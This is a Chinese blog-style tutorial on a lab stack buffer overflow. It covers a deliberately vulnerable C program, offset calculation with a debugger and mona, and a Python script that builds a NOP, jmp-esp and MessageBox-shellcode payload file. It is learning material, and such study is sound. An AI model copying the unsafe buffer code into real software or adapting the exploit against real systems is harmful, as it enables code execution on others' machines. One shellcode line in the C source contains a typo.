Windows漏洞原理之简单栈溢出示例

今天这篇文章主要是对老师视频的一个简单的总结。按照惯例,我们先从代码来进行分析。
如果对你有一丢丢作用的话,希望各位读者老爷们可以点个赞啦,您的支持将会给我最大的动力啦!(不要脸的我,羞羞)

PS; ” 2-(3)我遇到的问题 “ 这部分纯属对于自己运行时的小记录,希望可以给遇到同样问题的小可爱们一点小的参考,如果没有遇到问题的话可以略过哦!)

1、源代码

首先,甭管看不看的懂,先浏览一遍源代码,越懵逼B代表你你提升的空间越大哦!(哦~ 哈哈哈哈嗝~)

/*
0.这个例子是最简单的溢出,需要关闭GS,关闭DEP,关闭ALSR,关闭safeseh

1.shellcode来自exploit-db.com网站,搜messagebox即可,通用的shellcode都可以试试

2.关键api函数介绍
BOOL ReadFile(
HANDLE hFile,       //文件的句柄
LPVOID lpBuffer    //用于保存读入数据的一个缓冲区
DWORD nNumberOfBytesToRead,     //要读入的字节数
LPDWORD lpNumberOfBytesRead,   //指向实际读取字节数的指针
LPOVERLAPPED lpOverlapped
//如文件打开时指定了FILE_FLAG_OVERLAPPED,那么必须,用这个参数引用一个特殊的结构。
//该结构定义了一次异步读取操作。否则,应将这个参数设为NULL
//(暂时不看异步读取,只看基本的话,用NULL就好了)
);
*/
// t1.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>

char shellcode[] =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";//类似于调用messagebox
char filename[] = "C://1.txt";//需要读取的文件,在C盘下的1.txt文件
DWORD jmp_esp = 0xE4FF;
void func()
{
	char buf[0x100];
	DWORD jmpesp = 0xE4FF;
	
	HANDLE hFile;
	DWORD filelen, readlen;
	//printf("%d%d\n", filelen, readlen);
	readlen = 0;
	memset(buf, 0, sizeof(buf));
	hFile = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
		//INVALID_HANDLE_VALUE表示无效的句柄,与NULL的区别:查看链接:https://blog.twofei.com/561/https://blog.twofei.com/561/
	{
		printf("Open file failed!");
		return;
	}
	     filelen = GetFileSize(hFile, NULL);//GetFileSize()获取指定文件的大小
		 //printf("%d/n", filelen);  filelen=354
		 ReadFile(hFile, buf, filelen, &readlen, NULL);//返回值为1
		 //ReadFile()从文件指针指定的位置读取数据
		/*最开始,我在1.txt中输入的的字节数为570,但是当运行时发现createFileA运行成功,但是ReadFile返回的错误代码为998(内存访问位置无效)。
		百度了很久发现可能是内存分配过小,因此我后来将1.txt文件字节数变为96,发现此时ReadFile读取成功了。

		 if (!ReadFile(hFile, buf, filelen, &readlen, NULL))
		 {
			 int error = GetLastError();//返回998错误
			 printf("%d\n", error);
		 }
		*/
		 CloseHandle(hFile);
		 printf("Text-length:%d\r\n", readlen);//&readlen = 上面的filelen = 345
		 printf("Text:'%s'\r\n", buf);
	

}
int main()
{
	printf("the code begin!\n");
	func();
	printf("the code end!\n");
	getchar();
    if(1<0)
		__asm
	{
		jmp esp
	}
	return 0;
}

2、前景分析

(1)、原理分析

接下来,我们来看一下运行代码前的一些前景提要。
首先我们来简单讲解一下这个例子的溢出原理。为如下函数:(参数来自于上述源代码的实际调用)

 ReadFile(hFile, buf, filelen, &readlen, NULL);//返回值为1

关于这个函数参数可以先简单理解为:

ReadFile()从文件指针指定的位置读取数据
hFile:文件的句柄,类似于一个文件的指针
buf:存放数据的缓冲区指针
filelen:指的是要读取的字节总数
&readlen:实际读取的字节总数
NULL:这个参数与我们读取文件的方式有关。

由上可分析,正常情况下,指定要读取的字节总数 filelen =实际要读取的字节总数 readlen ,如果实际读取的字节总数 readlen > 存放读取数据的缓冲区 buf,那么 buf 读取时将会发生溢出。

接下来就和超长溢出类似了,通过溢出将 func 函数ret返回地址进行覆盖,那么接下来你可以做的事情就很多啦!在这篇文章主要讲的是关于溢出定址 的步骤,利用的话我抽空再补上吧!

(2)、知识拓展:CreateFileA()、ReadFile()、GetFileSize()

CreateFileA() 函数:打开一个文件,并返回文件的句柄。

函数原型:
HANDLE CreateFile(
  LPCTSTR lpFileName, //指向文件名的指针
  DWORD dwDesiredAccess, //访问模式(写/读)
  DWORD dwShareMode, //共享模式
  LPSECURITY_ATTRIBUTES lpSecurityAttributes, //指向安全属性的指针
  DWORD dwCreationDisposition, //如何创建
  DWORD dwFlagsAndAttributes, //文件属性
  HANDLE hTemplateFile //用于复制文件句柄
  );
参考链接:https://www.cnblogs.com/endeavour/archive/2011/12/08/2280388.html

ReadFile() 函数:从文件指针指定的位置读取数据。

函数原型:
BOOL ReadFile(
HANDLE hFile, // handle to file
LPVOID lpBuffer, // data buffer
DWORD nNumberOfBytesToRead, // number of bytes to read
LPDWORD lpNumberOfBytesRead, // number of bytes read
LPOVERLAPPED lpOverlapped // overlapped buffer
);
参考链接:https://blog.youkuaiyun.com/pql925/article/details/69803744?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158726082719725256764794%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.57646%2522%257D&request_id=158726082719725256764794&biz_id=0&utm_source=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v25-1

GetFileSize():获取指定文件的大小。
该函数用于获取指定文件的大小(长度),获取的大小限制在 0xFFFFFFFF 以内。

若要获取长度超过 0xFFFFFFFF 的文件大小,请使用 GetFileSizeEx 函数。
DWORD GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh);
参数
hFile
待获取大小的文件句柄,该文件句柄必须具有 GENERIC_READ 或 GENERIC_WRITE 访问权限。
lpFileSizeHigh
指向一个 DWORD 变量的指针,该变量用于接收文件大小高端(第32-63位)部分的值。若不需获取这部分的值,该参数可以为 NULL 。
参考链接:
https://blog.youkuaiyun.com/yes258/article/details/8051197?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522158726037619724843333660%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.57646%2522%257D&request_id=158726037619724843333660&biz_id=0&utm_source=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v25-1

(3)、我遇到的问题

A、CreateFileA()运行成功,ReadFile()读取错误998

通过在程序中下断点单步调试,我发现我的CreateFileA()运行成功,ReadFile()读取失败(表现:实际读取的字节为0,查看栈空间,发现栈空间中也没有数据)。
百度后,发现可以通过GetLastError() 获取错误代码,因此,将如下代码插入到 CloseHandle(hFile); 之前,查看返回的错误错误代码。

		 if (!ReadFile(hFile, buf, filelen, &readlen, NULL))
		 {
			 int error = GetLastError();//返回998错误
			 printf("%d\n", error);
		 }

在这里我返回的错误代码为 998——内存访问位置无效,然后开始了之后的百度征程,发现错误的原因真的是,,,额,好吧我看不太懂。在这里的错误原因是内存分配过小(此时1.txt中含有 570个字节),建议将空间变大,额,我直接将 要读取的文件 1.txt的字节改为了 96 个,运行,结果出来了。哈哈哈哈。

B、调用对象正在运行时不可用

这个问题我实在单步调试的时候发现运行到后面便会出现这句话,然后内存空间变查看不到了。
解决办法:设置合适的断点。因为程序都运行完了,空间也全都释放了,你还想看啥呢?

3、程序运行

(1)、手工计算

在这里,我加载的文件 1.txt 是含有323个字节的。
在这里插入图片描述

单步调试文件。
在main()函数调用 func 函数时下断点,记录 func() 函数调用前栈中的情况。如下,我们可以发现 ESP = 0x0019FF24。

溢出需覆盖位置:

我们需要覆盖的地址为函数 func结束后最后一句 ret 的返回地址,而ret 等价于 pop eip ; jmp eip。(pop eip时,esp+4)执行完ret后 ESP回到函数运行前的值 ESP = 0x19FF24,由此可以推测,执行 ret前的 esp = 0x0019FF20,即 ret 返回地址 eip所在的栈空间为0x0019FF20。
因此需要 覆盖地址前需要填充的字符有 = | buf首地址 - 0x0019FF20 |
在这里插入图片描述

找寻buf首地址

如下对 ReadFile()函数进行反汇编我们可以知道执行完 lea eax, [buf] 后 eax的值 = 0x0019FE1C,即为 buf 的首地址 = 0x0019FE1C。
在这里插入图片描述

因此我们便可以知道

填充的字符长度为 = buf首地址 - ret返回地址 = | 0x0019FE1C - 0x0019FF20 | = 0x104

(2)、immunity中的mona

环境:Immunity安装:https://www.twblogs.net/a/5b8cf9772b7177188338055c/zh-cn
mona的整个文件夹可以放到 PyCommands 文件夹中。文件路径类似于下方:
Immunity Inc --> Immunity Debugger --> PyCommands
命令如下:

#查看mona的所有指令
!mona
#首先生成一段长度为 400 的 乱序字符
!mona pc 400

# 将序列字符复制到 1.txt文件中

# 查看执行完 func 函数时 eip中的字符,并用如下指令计算与原字符串的偏移量260
!mona po 6Ai7             

如下图,我们可以观察到再插入乱序字符序列后,ret返回时的EIP中的地址为 0x37694136,即字符串为 6Ai7。(PS:在 6Ai7 附近的内存空间我们发现了一个奇怪的空间 ?.. (来自于ESI的值),关于这个的探讨请查看附录 2 )
在这里插入图片描述

在mona中查看偏移量。如图为260。与方法一的手工计算是一样的。
在这里插入图片描述

exp代码

#生成上面代码加载的文件 1.txt
file_name = "1.txt" 

#弹出messagebox() 函数的shellcode
shellcode = ""
shellcode += "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
shellcode += "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
shellcode += "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
shellcode += "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
shellcode += "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
shellcode += "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
shellcode += "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
shellcode += "\x49\x0b\x31\xc0\x51\x50\xff\xd7"

#构造payload
nops = "\x90"*264;
#jmp esp Address=004119f0 
# 利用 immunity 加载上面运行的 t1.exe 可执行文件,
#然后输入命令 !mona jmp -r esp 查找jmp esp 在文件中的地址填写到如下的 jmp中
jmp = "\xf0\x19\x41\x00";
payload = nops + jmp +shellcode ;

#将payload 写入 1.txt 文件中去
poc_file = open(file_name,"w")
poc_file.write(payload)
poc_file.close()

附录2:

在此我们探讨一下在ret返回地址附近出现的奇怪序列(?……),如下:
(142,155,188)
经过不断的单步调试文件发现问题出现在 ReadFile()函数执行后,因此我们重点 单步执行一直 ReadFile() 函数。
如下,为 ReadFile() 函数执行前寄存器的值。我们发现 ESI 中的值 = 奇怪序列(?……)
在这里插入图片描述

查看 ReadFile() 函数的反汇编代码。观察 ESI,我们发现 ESI 的值 = filelen 的值(要读取的字节数)
在这里插入图片描述

运行完 ReadFile() 函数后,查看栈空间,和此时寄存器的值。
我们可以发现寄存器中 ESP的值没变,即堆栈自动平衡了(Winapi函数自动平衡堆栈)。
在这里插入图片描述
并且从栈空间发现执行完 ReadFile() 函数后,其他地址均发生了溢出覆盖,唯独这个地址没有。那这个地址有什么特殊的吗?
查看寄存器发现这个地址为 0x0019FF1C 再观察上述的寄存器发现这个地址竟然超过了 ESP 的地址,那么就肯定是系统在调用 readfile() 函数时将 ESI push进栈。
在这里插入图片描述
单步调试 ReadFile() 函数,进入call 调用。
在这里插入图片描述
查看步骤。发现是在执行如下步骤时,内存空间发现改变的。此步骤后面是 ReadFile() 函数平衡堆栈的一系列操作,因此我个人觉得这个也是属于平衡堆栈的语句。(PS:这个我真的不清楚,百度了很久都没有找到,还希望懂得大佬可以解答一下,小生感恩不尽!>_< 。(在后面我附上了这个代码前后的大部分代码,还请大佬过目,谢谢!) )
在这里插入图片描述

ReadFile() 函数反汇编的所有代码:


76011C70  mov         edi,edi  
76011C72  push        ebp  
76011C73  mov         ebp,esp  
76011C75  push        0FFFFFFFEh  
76011C77  push        760D2760h  
76011C7C  push        76050200h  
76011C81  mov         eax,dword ptr fs:[00000000h]  
76011C87  push        eax  
76011C88  sub         esp,18h  
76011C8B  push        ebx  
76011C8C  push        esi  
76011C8D  push        edi  
76011C8E  mov         eax,dword ptr ds:[760E5B00h]  
76011C93  xor         dword ptr [ebp-8],eax  
76011C96  xor         eax,ebp  
76011C98  push        eax  
76011C99  lea         eax,[ebp-10h]  
76011C9C  mov         dword ptr fs:[00000000h],eax  
76011CA2  mov         dword ptr [ebp-18h],esp  
76011CA5  mov         dword ptr [ebp-20h],0  
76011CAC  mov         dword ptr [ebp-1Ch],0  
76011CB3  mov         esi,dword ptr [ebp+14h]  
76011CB6  test        esi,esi  
76011CB8  je          76011CC0  
76011CBA  mov         dword ptr [esi],0  
76011CC0  mov         ebx,dword ptr [ebp+8]  
76011CC3  cmp         ebx,0FFFFFFF4h  
76011CC6  jae         7605BE22  
76011CCC  mov         edi,dword ptr [ebp+18h]  
76011CCF  test        edi,edi  
76011CD1  je          76011D41  
76011CD3  mov         dword ptr [edi],103h  
76011CD9  mov         eax,dword ptr [edi+8]  
76011CDC  mov         dword ptr [ebp-28h],eax  
76011CDF  mov         eax,dword ptr [edi+0Ch]  
76011CE2  mov         dword ptr [ebp-24h],eax  
76011CE5  mov         eax,dword ptr [edi+10h]  
76011CE8  test        al,1  
76011CEA  jne         7605BE65  
76011CF0  mov         ecx,edi  
76011CF2  push        0  
76011CF4  lea         edx,[ebp-28h]  
76011CF7  push        edx  
76011CF8  push        dword ptr [ebp+10h]  
76011CFB  push        dword ptr [ebp+0Ch]  
76011CFE  push        edi  
76011CFF  push        ecx  
76011D00  push        0  
76011D02  push        eax  
76011D03  push        ebx  
76011D04  call        dword ptr ds:[760E951Ch]  
76011D0A  test        eax,eax  
76011D0C  js          76011D19  
76011D0E  cmp         eax,103h  
76011D13  jne         76011DBB  
76011D19  cmp         eax,0C0000011h  
76011D1E  je          76011E02  
76011D24  mov         ecx,eax  
76011D26  call        76011E20  
76011D2B  xor         eax,eax  
76011D2D  mov         ecx,dword ptr [ebp-10h]  
76011D30  mov         dword ptr fs:[0],ecx  
76011D37  pop         ecx  
76011D38  pop         edi  
76011D39  pop         esi  
76011D3A  pop         ebx  
76011D3B  mov         esp,ebp  
76011D3D  pop         ebp  
76011D3E  ret         14h  

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值